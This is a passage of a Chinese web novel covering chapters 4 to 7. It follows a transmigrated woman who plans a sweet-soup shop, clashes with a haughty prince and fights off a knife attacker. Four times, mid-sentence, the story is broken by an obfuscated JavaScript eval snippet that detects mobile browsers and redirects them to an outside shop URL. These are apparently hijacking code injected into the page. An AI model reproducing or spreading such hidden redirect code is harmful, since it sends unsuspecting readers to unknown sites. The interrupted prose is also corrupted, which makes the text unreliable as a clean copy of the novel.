真真是少年心性不定，前两天还说让自己改嫁，这会子又称上嫂子了。 桔珏本也不愿出面，只是她这会推辞了，又有谁去应邀呢？ 徐执节却还在劝说，“你知道吗，那日我回家一看，东西几乎砸的乱的不成样子。” “咱们这种小地方，县令都是个顶个的大官，更何况是王爷，那是话本里才会出现的人物，去了还不知道要发生什么。”言语间似有惧意。 见他怕了，桔珏安慰道，“……别怕。” 想那王爷要真是权势滔天，又怎会来到这穷乡僻壤？ 是不定是权利争斗落败后，被赶来的。 “……嫂子。” 小叔却还是畏惧，一个劲阻止。桔珏本就心烦，不免开口教育起来，“你今日是怎么了？” “一个王爷就看把你吓得，要都向你这样瞻前顾后的，到时如何能成家立业、有所担当？” 徐执节一时语塞。 “嫂子误会了。我是担心宴会宾客众多，嫂子又生得这番样貌……” “那你以为如何？”桔珏语气带着几分无奈。 “不如我替嫂子出面，见见世面。” 可你长得也不错…… 桔珏这样想着，终究没说出来，“你是想去吃席？” 徐执节只好说的再明白些，“若是嫂子出面，无非是赏些金银器皿。咱们平头百姓，忽然间发了横财，只怕是要守不住。” “若是我出面，也许能赏个一官半职，家里好歹也有个进项，也能为嫂子分忧。” …… 怪不得弯弯绕，这男人心思就是多。 桔珏心里一幅了然，都说长嫂如母，看到孩子心有韬略，总比是个无用草包强。就算徐执节日后自立门户，也只是少了个包袱。 相处月余，桔珏对他依旧不信任。 徐执节去也好，省得跟王爷有所牵连。至于县令那边，王爷已经醒了，只凭救人这一层，他就不敢对自己如何。 桔珏越想越觉得妥当，“那也行。” 只是还有一件事…… 那县令身边的年轻录事，一看就是信息素十里飘香。怪不得他当日对自己疾言厉色，呼声呵斥。 王不见王罢了。 因此，她越看小叔那白皙俊脸，越发不放心，委婉提醒道，“你若见了县令身边的录事，可离远些，万不可单独被他叫走。” 桔珏反复嘱咐，只是她生性秉实、不善言辞，来来回回也就是这几句。 小叔也不恼，拱手垂立，听着嫂子絮絮叨叨。 * 镇上近日正办庙会，十分热闹。 桔珏在街道上，到处看看，十分稀奇。恍然瞥见一位熟悉的身影。 那人一身月白色蟒袍，上头绣着精致的海水江崖纹样，腰间束着一条碧玉红鞓带，玉色温润，与头上的簪缨银翅帽相得益彰，尤其是帽上硕大的明珠，更添上几分贵气。 他面容白皙，眉如墨画。 尤其是口唇，上面似乎涂了极淡的胭脂，与初见时的苍白截然相反。 平白的，桔珏的指腹上传来一阵痒意。 像是被齿牙啃食过一般。 王爷为何会在这里出现，这会子，他不是应该在清风阁参加宴会吗？ 桔珏移开了视线。 记忆中，那人的下唇生得十分饱满。此前喂药时，桔珏拿起药碗对着嘴灌，指节偶尔会触碰到下唇。 因在病中，剐蹭时，唇-肉触感粗糙。 那时她只觉得麻烦。 这会能在市集上遇到，看来王爷并不把宴会放在心上。就算是有知府县令的场合，与他也只是寻常，说不出席就不出席。 一想到自己昨日对镜担心，桔珏忽然有些耻意。 桔珏面上发烫。 见王爷似要朝这边看来，桔珏忙侧过身，随手拿起摊上的摆件，直等那人走过才放下手来。 “诶呀！你这姑娘，让我怎么卖啊！”摊主连叫可惜。 桔珏这才回过神来，垂眸看去。 只见那草编蚂蚱，通体翠绿，编织得活灵活现，只是腹部却凹陷下去，像是被人大力挤压过。 桔珏连声道，“真是对不住了，我看这编得实在精巧，一时入了迷……” “我付钱给你吧。” 说罢拿出几枚铜板，放在摊上。 庙上人头攒动，桔珏在人流中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418433|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只觉的烦躁异常。 向东市走了许久，人终于渐渐少了。 桔珏深呼一口气，记起此次出行的目的，不断打量这些门面铺子。 这几日住在逸间客栈，桔珏注意到，客栈的伙食果然如伙计所说，十分讲究。菜式花样繁多，工序复杂，而且大多偏甜口。 再加上本地还有饮汤饮茶的习惯。 因此，桔珏想在镇上开一家糖水铺。 凭借现代对各种奶茶的了解，桔珏认为此事大有可为。虽然手上并无足够的银两，但桔珏本科是学习金融的，投资不一定要用自己的钱…… 这样想着，果然看到一家出售牌匾的铺子。 桔珏没有进去问价，反而朝着路口对角那家酒楼走去。 只因那挂牌售卖的是一家茶肆，在街上老远就能闻见茶香，且本地人大多偏爱饮茶，那铺面上价格又不贵，何以会开不下去？ 想来是那家酒楼的缘故。 “几位？” 一进酒楼就有伙计迎上来，殷勤问道，“客官喝点什么？” 这会不是饭点，伙计故而如此发问。 酒楼装潢高档，因着客栈雅间汤品不同的缘故，桔珏试探问道，“可有雅间？” “有！有！”伙计原本就十分殷切，看到更是个清丽姑娘，连嗓门都亮了几分。 “这边请！” 伙计猛然转身间，不料袍角扫过桌沿，竟差点带翻案上的瓷壶，“咚”地一声直直撞上了廊柱，额角红了一片。 桔珏不由莞尔。 “姑娘这边请。”伙计捂着头强装镇定。 入了雅间，桔珏选在临窗的位置坐下，想起刚才的画面，仍忍不住弯了弯唇角。 伙计麻利奉上一盏温瓷盅，盅内是蜜色的茶汤，袅袅升起带着果木清甜的白汽。 “多谢。” 伙计喏喏应着，轻手轻脚退了出去。 氤氲的热气模糊了盏沿，桔珏素手拿起，刚要入口，却听得一个熟悉的声音。 ——是王县令。 “此番惊扰王爷，下官万死难辞。幸得王爷洪福齐天，遇贵人相助，化险为夷。” 王县令的声音带着小心翼翼的奉承。 “嗯。”一道男声慵懒响起，音色低沉，有些漫不经心。 想必，这就是那位王爷了。 桔珏不由放缓了呼吸，端着茶盏的手停在半空。 “下官已查明，那徐家村并无任何不妥，后山的稻场已于十年前荒废。不是下官自夸，本镇百姓淳朴，救您的就是徐家村的，名唤林桔珏。” …… “林桔珏。” 他念出她的名字。 声音低沉，语调平缓。可每个字却都像羽毛般轻轻搔过耳廓。 不知是否是水蒸气熏染的缘故，桔珏只觉得面颊微微发烫。 直到一个略显尖锐的声音响起，似有谄媚，“王爷有所不知，这林姑娘在咱们这儿，可是出了名的伶俐人儿。若王爷一见，定会……” 话未说尽，意味却暧昧不明。 桔珏手中的青瓷盏微微一颤，温热的茶汤险些晃出。 然后她听到了那人嗤笑一声，带着毫不掩饰的轻蔑，“伶俐人？” 气息低沉。 依旧清冽好听。 “不过是一个粗鄙村妇，低贱无知，本王如何能看得上眼。” 他这样说道。 5. 第 5 章 雅间内，桔珏已无品茗的趣味。 茶托上，盅内沸水已经冷却，可香气却不曾减弱半分，叶片在清透的茶汤中肆意舒展。 ——山梨雪芽，这便是本地的特色。 徐洲人嗜甜，将白茶摘取一芽一叶，经过多重工序处理后，再选用梨木、柚子木、苹果木轻熏，好容易得来的风味。 那熏烤的火候掌握就十分难得，全凭技巧，要使果木香附于茶叶表面，却不渗入茶底。 且酒楼用的白茶也颇有讲究。 茶汤澄澈如蜜，一看就是五年以上陈化的白毫银针。 毫香混着梨韵，清润不腻，冲泡三四趟后，果香竟然还在。怪不得能将对面的茶肆逼得关门歇业，定是用了窖藏增香，在保留白茶清冽感的同时，融合了果木香气。 入口清甜。 桔珏微抿一口后放下茶盏，素手纤细白皙，愣神间，那盏中倒影出润泽的丹唇，不点而红。 手腕只微微使力，便正正瞧见那盏中的倒影—— 这不是她。 那人眉目如画，姿容绝世。即便不做表情，都难掩风流姿色。 桔珏指尖微颤。 初穿来时，她还并不理解，对她示好的男子，上至权功贵子，下到贩夫走卒，简直是随机刷新。桔珏脑筋有些慢，直到听见小叔的话，才意识到这具身体吸引力十足。 她就是这样。 桔珏从小就是个有些迟钝的人。 也正因如此，寻常人难以忍受的力量训练，桔珏一坚持就是十几年，还顺利的以此谋生。她对此是颇有些骄傲的，可父母并不理解。 散打陪练，不是一份体面的工作。 桔珏挂着礼貌的腼腆笑意，点头应下，既不辩解，也不较真。她从小就是慢半拍的，同龄人毫不费力就能完成的课业荣誉，桔珏必须拼尽全力，才能勉强达到一样的效果。 在父母的指责声中，桔珏笑容逐渐僵硬起来。 好运从来不会落到自己身上。 她早就知道这点。 而穿越，却是发生在她身上，唯一一件神奇的事情了。 桔珏感到自己是特殊的。 然这特殊的穿越经历，没给她增加半分野心。桔珏看过不少网文，其中有穿越女辅佐夺嫡、起义称女帝…… 这些宏大叙事，素与她无关。 桔珏最大的希望，就是在镇上开一家店铺。 一家糖水铺。 她的梦想如此之小，因此也不会轻易失望。 所以方才那点莫名的、连自己说不清的涟漪，在听到那句“村妇粗鄙”后，便顺理成章地收了回去。 桔珏重新拿起茶盏，送入口中，茶汤在舌尖滚了一遭，满口清润。 回味却并不黏腻。 果真是好茶。 * 建兴三十七年，新帝登基，改年号为景和。 刘怀瑾作为先帝第九子，“淮王”的称号和徐洲封地，却皆是新帝所赐。 原因无他——刘怀瑾自前朝起，就自觉远离权利争夺，是新帝为数不多能信任的宗亲之一。 封地徐洲，地处偏远，临海而踞。 此地盛产糖、盐、矿，是大楚糖盐税的主要来源。这些糖盐转运全由皇商把控，层层递至朝廷。 自从新帝废除皇商一职后，官办混乱，私糖私盐泛滥，朝廷税收数锐减。 刘怀瑾此行到徐洲，正是为调查此事。 徐洲各方势力盘根错节，他好容易找到线索，不料竟在徐家村栽了个跟头。 “砰——” 青玉盏被狠狠摔在地上，碎片四溅。淮王面色冰冷，厉声呵斥。 “接风洗尘？这么会办事，让他们自便好了！” 言罢，竟连宴席都不曾参加。 谁料想次日听得眼线来报，那些官府人员上上下下，沆瀣一气，见王爷未出席，竟直接跑去酒楼品茗！ 真真是天高王帝远，惬意极了！ 落水后遗留的头痛症尚未痊愈，刘怀瑾强忍着不适，亲自上街——他倒要看看，这些食君之禄的官员，都在做些什么！ “王……王爷！” 许县令率先注意到，慌忙起身行礼。 话音刚落，一众官员紧随其后，呼啦啦跟着站起来，神色惶恐。 徐洲人嗜甜，桌上茶点腻得人发慌，就连空气中都飘着黏腻的甜香。 刘怀瑾皱起眉头，满心厌恶此地民风。 落座雅阁主座后，面前的茶盏连碰都未碰。忽得一阵清幽的果香气息从屏风飘来。 香气清甜，却带着几分冷冽。 刘怀瑾手指微动，端起茶盏，置于鼻前嗅闻，接着抿上一口。 方才在街上，他便瞥见那抹绿色身影清瘦挺拔，浓宜得当，走起步来，裙角在身旁步步生莲。 却没想到能在酒楼遇到。 雅阁主座恰好能看见楼梯，适才不经意间，便瞧见了那女子拾级而上的身影。 周遭喧嚣瞬间抽离，阶下之人布衣荆钗，通身再寻不出一件饰物，却能让金玉失了颜色。 那女子清丽至极，眉眼澄澈如山涧清泉，偏偏眼尾微扬，泄出几分不自知的姝色。 刘怀瑾一时竟有些失神，连周遭官员的话也不曾听清。 “王爷？”许县令再次出声试探。 “此番惊扰王爷，下官万死难辞。幸得王爷洪福齐天，遇贵人相助，化险为夷。” 他眼皮都未抬一下，只从鼻腔间溢出一声极淡的冷哼，算作回应。 不出所料，那县令果然接着说徐家村稻场荒废，经查证后没有异样。刘怀瑾并不意外。这些人向来胆大包天。 从自己落水一事，便可窥出端倪。 直至录事提及那位救了他的村妇，刘怀瑾这才收回神思，眼底掠过一丝鄙夷。 那日被救后，对方即未报官，又让他因落水余疾而缠绵病榻多日，至今都未恢复。 想那村妇，定是见他身份尊贵，故意拖延，无非是贪图赏银。 真真是无耻之尤！ 现下那官员竟还想将此人引荐，莫不是在暗中取笑于他？偏那官员语气诚恳，倒让他一时间难以发作。 “不过是一个粗鄙村妇，低贱无知，本王如何能看得上眼。” 当着屏风后绿衣女子的面。 淮王轻蔑地说道。 * 摸清了酒楼的汤饮样式，桔珏心下稍安。 论品茶制茶，她比不过酒楼里的行家，但说起糖水，倒是有几分把握。 先前逛集市时，她见过马蹄粉。去屠户家买肉时，也曾瞧见胡娘子把木薯糯米做的麻薯当零嘴。 徐洲人本就嗜甜，对这类软糯吃食接受度极高。 再搭配上她拿手的牛乳糖水，甜咸相宜，软糯清香，定能在镇上闯出一片天地。 出酒楼，向茶肆走去。 桔珏心中盘算着租金银子。不曾想，竟迎面撞上了屠户胡娘子。 她头戴布巾，身材丰腴，只是神情有些不自然。 “珏娘子。” 认出人后，胡娘子打着招呼，却不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418434|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向身后。 桔珏顺着望去，只见胡娘子身后竟有一个持刀汉子，凶神恶煞地喘着粗气，追将上来。 她忙将胡娘子护在身后。 这一举动，方才还强撑着的胡娘子瞬间瘪起嘴，莫名委屈起来。 “哪来的娼妇，敢挡老子的道！” “你先把刀放下，再好好说！”桔珏呵斥道，神色毫不畏惧。 那人虽壮，却脚步虚浮，一看就底盘不稳。 “你倒上赶着，想当判官？”那汉子吐出一口老痰，嗤笑一声，“这悍妇当初救了老子，逼着人做她家的赘婿。如今肉铺生意好了，就想骑到老子头上！连娃娃改姓都不肯！黑心烂肺的臭娘们！” “你胡说！”胡娘子哽咽反驳。 “当年分明是你跟爹爹求娶我，如今铺子都是你的了，娃也十岁了，你凭什么说改姓就改姓？” 周遭人听罢，对那汉子指指点点。 “一个臭外地的，混成这样全靠胡二姐，还有脸说。” “他就是一个赘婿，之前老丈人面前装的多乖。” “真真是不要脸。” …… 那汉子自觉被下了脸面，青筋暴起，刀锋一转，寒光顺着刀刃淌下。吓得胡娘子浑身剧震。 桔珏时刻注意那汉子的动向，早有防备。 见他挥刀劈来，身形立刻下沉，腰腹发力向左侧滑开半尺，顺势推开胡娘子。 刀锋擦着衣角，劈在一旁的瓜车上。 大汉一下不成，改劈为扫，直逼桔珏腰腹而来。他本就是泼皮无赖，一身蛮力壮如牛，凭着一股子狠劲。 桔珏不敢硬接，脚尖点地向后急退，左手精准扣向汉子持刀的手腕。 散打讲究避实击虚，她本想卸了对方的力道，夺下刀刃。可指尖刚触到汉子粗糙的皮肤，就被一股巨力震开，只得踉跄着撞倒。 这人力气远比她预想的大得多！ 所谓的技巧，在绝对的蛮力面前几乎失效。 “让你多管闲事！”汉子狞笑一声，步步紧逼，尖刀直刺她心口。 桔珏瞳孔骤缩，只能狼狈翻滚躲开。 散打技巧擅长灵活周旋、精准打击，但对方手持利器，且蛮力惊人，让她根本没有反击的空隙。 ——刀刃划破空气，呼啸而来。 桔珏拼尽全力躲避，刀刃却总不离咽喉半寸。眼见前方无路可躲，身后又是活阎王，桔珏一咬牙，避开致命要害，竟用肩胛骨迎上去。 右拳悄然对着内肘试图猛击。她紧闭双眼，心内大叫这不是致命伤不是致命伤。 ——然而想象中的痛感却没有半分。 抬眼看去，竟是淮王刘怀瑾立在身后，手中玉扇斜斜一挑，扇骨精准抵住了大汉挥来的刀背。 他手腕微旋，巧劲一卸，那汉子本就虚浮的脚步顿时踉跄起来，刀口硬生生调转方向，擦着绿衣女子的肩头劈空落地，溅起几点尘土。 危机立时解除。 刘怀瑾玉扇轻合，抵在胸前，衣袂翻飞间，自有一番从容不迫的风度。 见那女子跌坐在地上，似乎是看呆了。 刘怀瑾抬步上前，只是没等他来得及将人扶起。 “王爷！您没事吧！”“快护着王爷！”身后的官员鱼贯而出，顿时将他围的水泄不通。 直等到官兵前来，刘怀瑾才得以脱身。 他抬眼望向那绿衣女子，正要开口询问芳名，却看见许县令快步上前，言语似有不耐。 “林桔珏？” “怎么又是你。” 6. 第 6 章 ——“大胆！” 淮王厉声呵斥。 年轻王爷身着月牙白锦袍，墨发以玉冠束起，面容本是俊朗清逸，此刻却眉峰紧蹙，眼底寒芒乍现。周身泄出的凛然威仪，十分慑人。 就连先前知府禀报，谎称徐家村稻场一无所获时，也未曾见他这般动怒。 许县令瑟缩着，诺诺不敢出声。 满场唯有录事沈砚一人心中明了。 他从小跟在县令身边，见惯了风月情事，早练就一双察言观色的眼睛。 方才王爷在阁上默立半晌，见那歹人拔刀相向，竟自纵身跃下，这一举动将在场官员吓了个半死。 危急关头，身姿还保持挺拔如松，扇骨精准卸力。整套动作行云流水，自带几分矜贵气度。 奈何那村妇胆怯，看也不敢看，让王爷这番刻意的雅致，白白落空。 许县令偏生要在此时，对那村妇发难，岂非是自讨苦吃？ “多谢王爷出手相救。” 桔珏半天才回过神来，对着王爷，胡乱行了一礼。 沈砚看的嘴角直抽。 这村妇膝盖微屈却不敢全然跪倒，手臂抬起又不知该往何处放置，高低错落着，没有半分礼仪规矩可言。 当真是不伦不类。 刘怀瑾并没有理会桔珏，转而道，“光天化日，闹市之中，竟有人持刀行凶。此地民风败坏至此！你就是这样当差的？” “王爷明察。下官……下官疏于管教，罪该万死！” 许县令颤声告罪，声音抖得不成样子。沈砚跟着跪在县令身后，握紧了拳头。 想他一生跪过褥子、丝绸华帐，却从未跪过冰冷的石街！ 都是那村妇惹出来的祸事！ 沈砚咬紧牙关，等王爷拂袖而去，才搀扶许县令起身。 * 与胡娘子告别后，桔珏继续向那间茶肆走去。 她不知淮王为何发难，但看到他对自己态度冷淡，心下甚宽。 果真是要闭店了。 一进门，便觉出这间茶肆一股子冷清，一个客人也无。那茶桶上只剩些深褐老茶，桔珏素不喜味重，也辨不出品类。 “没看见挂着招牌呢！” 桌子后一个书生模样的男子头也不抬，拿着本西厢记，嘴上还沾着瓜子皮。 “是你。”桔珏认出了他。 他就是送自己一荷包银子的先生荣升。 “卿……”气口刚发出，就见那桔珏竟徒手拿起一个梨木茶托，忙改口道。 “卿……请问你要些什么？” “这竟是你的本家。”桔珏自言自语，双手掂了掂茶托，复又放下。 “好姑娘，我已辞去村上的先生一职，你还来找我做什么？” 荣升见她容貌堪比书中的崔莺莺，甚至有过之而无不及，心中有些不服。她自恃貌美，这般不把读书人放在眼里，等他日后封阁拜相，一定不会再回头！ “嗯？你说你要科考了？” 桔珏不解话题为何至此，却也礼貌道，“祝福你。” 此话一出，荣升顿时来了精神，“家母执意要我应考，什么活计都不让我做，还请人教导。其实根本不用如此费事，那看相的早都说了，说我日后定能入阁！” 桔珏听得云里雾里，又听他道，“其实入阁对我来说，也不是什么好事。” “我最快乐的时候，是一个月拿着二两银子，当教书先生的时候。” 桔珏嘴角微抽。 就在桔珏摸向梨木茶托前，一个中年女人掀帘而出，挥手叫道，“我的儿，快去歇着，这里不用你管。” 转头又道，“客人你是来做什么的？买茶不接客，买铺子得五百两！” 言语间，荣升已经闪到里屋。 原来这茶肆掌柜的正是县令府的管家娘子，眉眼间有些精明。听到桔珏说要开糖水铺时，十分诧异。 “糖水铺子？” 这娘子怕不是失心疯了？赖娘子站在柜台后，看到桔珏身后的酒楼。这会不是饭点，都有人进出，还想开在这里？凭她妄想吧。 嘴上却说道，“真有眼光，我这铺子位置可好呢。五百两，都是便宜你了。” “莫框我。”桔珏老实道，“我是真心想买，娘子还是报个实惠价。” 赖娘子听罢直摇头。看她年纪又轻，说起话来又软，这要是开店了，不亏死才怪。 “你且满巷去打听打听，反正这铺子我不急卖。我儿啊，前日得了主子恩典，日夜用功读书，不久便要参加科考。” “连报名费都交了。” “一想要考到北方去，万一留任京都，气候太冷不适应可咋整？” 桔珏听得脑瓜刺挠。 难道交了几两银子的报名费，就以为自己行贿了不成？ “我不同你讲虚的。”桔珏出言打断，拿起一枚粉釉金盏细瞧了瞧，“你既有机缘，又不急着卖铺子，何不租给我？一月十五两，等到你儿科考结束，明年春闱放榜，手下便有近百两银子了。那时再将铺子卖出去，又是一笔。” “届时你儿高中，接你上京同住，丫鬟仆妇伺候着，岂不是美？” 那赖娘子听得极为受用。仿佛看到成群的仆妇伺候她享福，恨不得直接答应下来，却又想再多还些价。 “二十两一月，成就成，不成便罢！” 桔珏一锤定音，见赖娘子眉眼间有喜色，又缓声道，“且需得连同这些茶盏器皿，一同与我。” 手中的茶盏十分精致，胎质莹润，描金纹饰灵动精巧，唯底部隐有微瑕，只盛在颜色上了。 待注满琥珀色的茶汤，那釉色便与汤色相融，再无不妥。 赖娘子听罢咬咬牙，答应了下来。 了却一桩心头事，桔珏心中高兴，素手抬起，将那粉釉金盏放在阳光下，看了又看，满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418435|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的不得了。 “娘子真真像个未出阁的姑娘家。” 赖娘子拿出租约，看桔珏颇喜欢茶器碗盏，不由得想起自己做姑娘的时候，也爱摆弄这些玩意。 那时跟着主子，或赏或买，也得了不少好物。 赖娘子笑道，“我还私藏了套黄绿色的，待我拿于你看，若是喜欢，不如一同带走。” 不待桔珏回话，转身就向里屋走去。 未时三刻，阳光毒辣，倾洒在石街上。 见其迟迟不出，桔珏百无聊赖撑着头，动作间，衣袖滑落，漏出白皙的手臂。 阳光与阴暗的交界处，留下一层淡淡的橙色光晕。 茶肆门口偶有路人探头，还有一些青年男子佯装转身，不时往桔珏这边看。她对此见怪不怪，却没想到无意间看见那淮王的身影。 他不知怎的，复又来到此处，视线交汇下，竟抬步向茶肆走来。 “王爷。”桔珏只得起身行礼。 “就是你救了本王？” 不等她作答，又问道，“这是你的铺子？为何要租出去？” 桔珏心中早已警铃大作，“民妇是想租下铺子。” 刘怀瑾听罢神色怪异，半晌后才缓缓开口道，“何不直接买下来？” 桔珏不知该如何高情商回答。 见桔珏沉默，淮王自觉唐突。他本就后悔在酒楼中说出那番话来，有意补偿一二，便道，“这样，本王入股你这店铺罢了，也做一回商贾。” “入股？”桔珏心中疑惑。 若是买下铺子，她手中一时没有这么多银子，必得拉人入伙。但此时谈妥了租铺子，这些银两桔珏还是有的。 且那张百两银票，须得赶紧花出去，否则县令见她不成事，再要回去可如何是好？ 桔珏越想越不安。 思索中，忽觉身后一股清冽气息逼近，竟是王爷从她身后附身，贴耳低声问道，“只是……你要如何保证本王不会亏损呢？” 桔珏汗毛竖立，像是见了鬼一般。 淮王一手撑在黄花梨柜沿，腕骨带着温热的暖意，几乎是贴着耳垂。 她身体一紧，指尖骤然失力，手中那粉釉金瓷盏不慎坠落。 ——却被另一只大手稳稳托住。 精致的杯盏落入骨节分明的手中，指腹轻扣盏沿，半点也逃脱不得。 “王爷……让开。” 怀中女子气息微乱，嚅嗫的唇舌吐出这几个字来。 刘怀瑾对这样的反应并不陌生。他唇角勾起，从喉间发出一声轻笑。 徐州似乎不如想象中乏味。 正这样想着，却见桔珏忽自矮身，从臂弯空隙间探头，衣袖从她发髻拂过，带落了几缕碎发。 怔愣间，看到那女子竟毫不留恋走出，抬手将发丝捋至耳后。 而后拿起一组茶具，向里屋喊道。 “掌柜的！结账！” 7. 第 7 章 “掌柜的？赖娘子？” 桔珏连叫了好几声，里屋才有所回应。 这人好歹也是王爷，怎么行为举止如此轻浮放肆？这番举动后，她心中仅剩下的一丝好感也无了。 可又不能直接翻脸，强忍之下，连面皮都在隐隐抽动。 偏偏这王爷还是没有要走的意思，桔珏心中警铃大作。想到赖娘子此前曾说，儿子荣升得了主子的恩典，这恩典是为何故？她又是许县令府上的管家娘子…… 虽说茶肆是桔珏自己选下的，可疑心既起，不相干的细节便被她串联起来。见人迟迟不出，桔珏不由喊得更加大声了。 “结账！！” 刘怀瑾被这一嗓子吼得怔在原地，一时看不懂情况。 若说这女子是因亲近而羞涩扭捏，堪堪避开，倒是合乎情理。只是刘怀瑾看的分明，她面颊白皙如玉，耳间晶莹似雪，哪里有半分羞涩？ 更何况她声音尖锐，扯着嗓子近乎是吼出来，到最后甚至都有些破音。 莫非她真的对自己避之不及？ 他很快否定自己的想法。 淮王刘怀瑾年轻俊朗，又未曾婚配，在京中时就有诸多闺阁小姐对他示好。春日猎场，众小姐躲在桃枝后偷看，纷纷将带着朝露的花枝掷向他。 是了。 定是那女子出身乡野的缘故，故而行事洒脱。 可惜她这等容貌，若是生在世家贵族，定会读书识字，如珠玉一般娇养在深闺，也不必整日为了生计奔波劳碌。 刘怀瑾心中惋惜。 “经年的老物了，我翻了半——” “王爷？” 看清茶肆那名男子后，赖娘子慌忙行礼，甚至来不及放下手中的器皿，就跪倒在地。 不等她起身，桔珏道，“赖娘子，你这里的租金还是太高了，我再去别地看看。” 说罢就要向外走去。 “慢着！” 淮王起身上前，走至桔珏身旁。 桔珏不用回头就能感知到他的存在，只好侧身拉开距离，却听得淮王说道，“本王既说了要入股，不投些银子怎么成？” 说罢抬手点了点租约，“还不快换成房契来。” “就记这位姑娘的名。” 话音刚落，赖娘子便应声去拿房契。 “王爷说笑了。”桔珏推辞道。 “本王从不说笑。”刘怀瑾从茶桶中捻了些许茶叶，放在眼前看了看。 手中的茶叶呈墨褐色，带着炭火炙烤后的焦红纹路，叶片蜷缩紧细，边缘微微起皱。 更重要的是，茶身表面覆着一层淡淡的盐霜。 这是盐粒经炒制渗透后析出的微晶，有的呈细沙状均匀分布，有的凝在叶脉褶皱处，泛着哑光白，上手轻捻能感觉到细微的颗粒感。 “还不谢恩？” 语气看似玩笑，可听在桔珏耳里，却更像是威胁。 “这不妥。”桔珏再次拒绝。 这些上位者施恩的语气，那种刻在骨子里的傲慢，早令她厌烦到了极点。更何况他又说村妇粗鄙，十分瞧不上眼似的，这会子，为何又变了一副面皮？ 定是见了自己姿容，临时又悔了主意。桔珏心中冷笑。 真真是阴晴不定，反复无常！ 沉默中，场面倏地冷了下来。淮王周身那份无形的威压便弥漫开来，笼罩着这间茶肆。 桔珏丝毫不惧，故意刺道，“民妇粗鄙，不堪承受如此大恩。” 刘怀瑾自束发起，还从未尝过被拒的滋味，冷哼一声就要当场发作，却复品味那粗鄙二字，强忍了下来。 迟迟未见责骂声，桔珏抬头瞥了一眼。 只见淮王生得风流俊朗，眉目间带着几分漫不经心的雅韵，生起气来也并不骇人。 桔珏垂眸低声，“民女不敢欺瞒王爷。适才在酒楼之上，民女其实听见王爷那番话了……” 现成的道德资本，不用白不用。 “我只是一介小小村妇，身份云泥之别。王爷所言并无不妥。”桔珏不忘为其开脱。 “更别提王爷的救命之恩了，我心中只有感激，此后上香拜佛，都要求菩萨保佑王爷万事顺遂。这事原是县令的主意，徐家镇人多耳杂，民女也不愿被当做茶余饭后的谈资，王爷拒了也好。” “只是不想王爷竟然去而又返，不仅出言轻薄，还反复羞辱民女……” 说到最后，似乎是难以启齿。 刘怀瑾听后耳上一热。他折返本非偶然，酒楼上惊鸿一眼就足够令他心动，两人又互有救命之情，若非县令插手，自己断然不会迁怒说出那番话来。 心里早将许县令骂了个半死。 茶肆内，绿衣素裹，窄袖轻扬。仅用一根木簪挽起青丝，那女子沐浴在阳光下，眉眼弯如新月，唇角漾起梨涡，肆意舒展着。 等身体反应过来，他便已置身茶肆之中。 不经意在柜台上看到了租约后，便知其缺银子，有意补偿一二，故而发问，“为什么不直接买下来？” 等桔珏说手头银子不够，便能顺理成章，开口相助了。 他想的很好。 只是忽略了姑娘家面皮薄，见她沉默半晌，垂眸盯着裙角出神，双唇抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418436|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起，却半分不肯露怯。 只好提出入股，为其解围。 这林姑娘依旧惜字如金。 阳光下的美人面，怯生生的，低头不语。鬓角的碎发渡着金芒，连面颊上的绒毛都清晰可见。 无端就想到了县令曾举荐过她，不由心下一动。 年轻王爷步履轻缓，锦袍曳地无声，悄然移至身后，忍不住出言逗弄一番。 两相缱绻间，不禁有些情动。 现下她却说不愿如此，说自己轻薄出言羞辱…… 刘怀瑾原本心里还有气，现在却全都抛在脑后，出言解释道，“不是这样。” 两人之中有这样大的误会，难怪她不愿了。 他只得解释起来。只是京城波谲云诡，不论面对多少算计、试探，他都能四两拨千斤化解。此时千言万语到了嘴边，偏又不知该从哪一句说起。 只剩下无措的笨拙，重复着简单的辩解。 “那王爷忽然折返又是为了什么？” 桔珏拿帕子遮本不存在的泪，手上一顿，乘胜追击道。 承认吧。 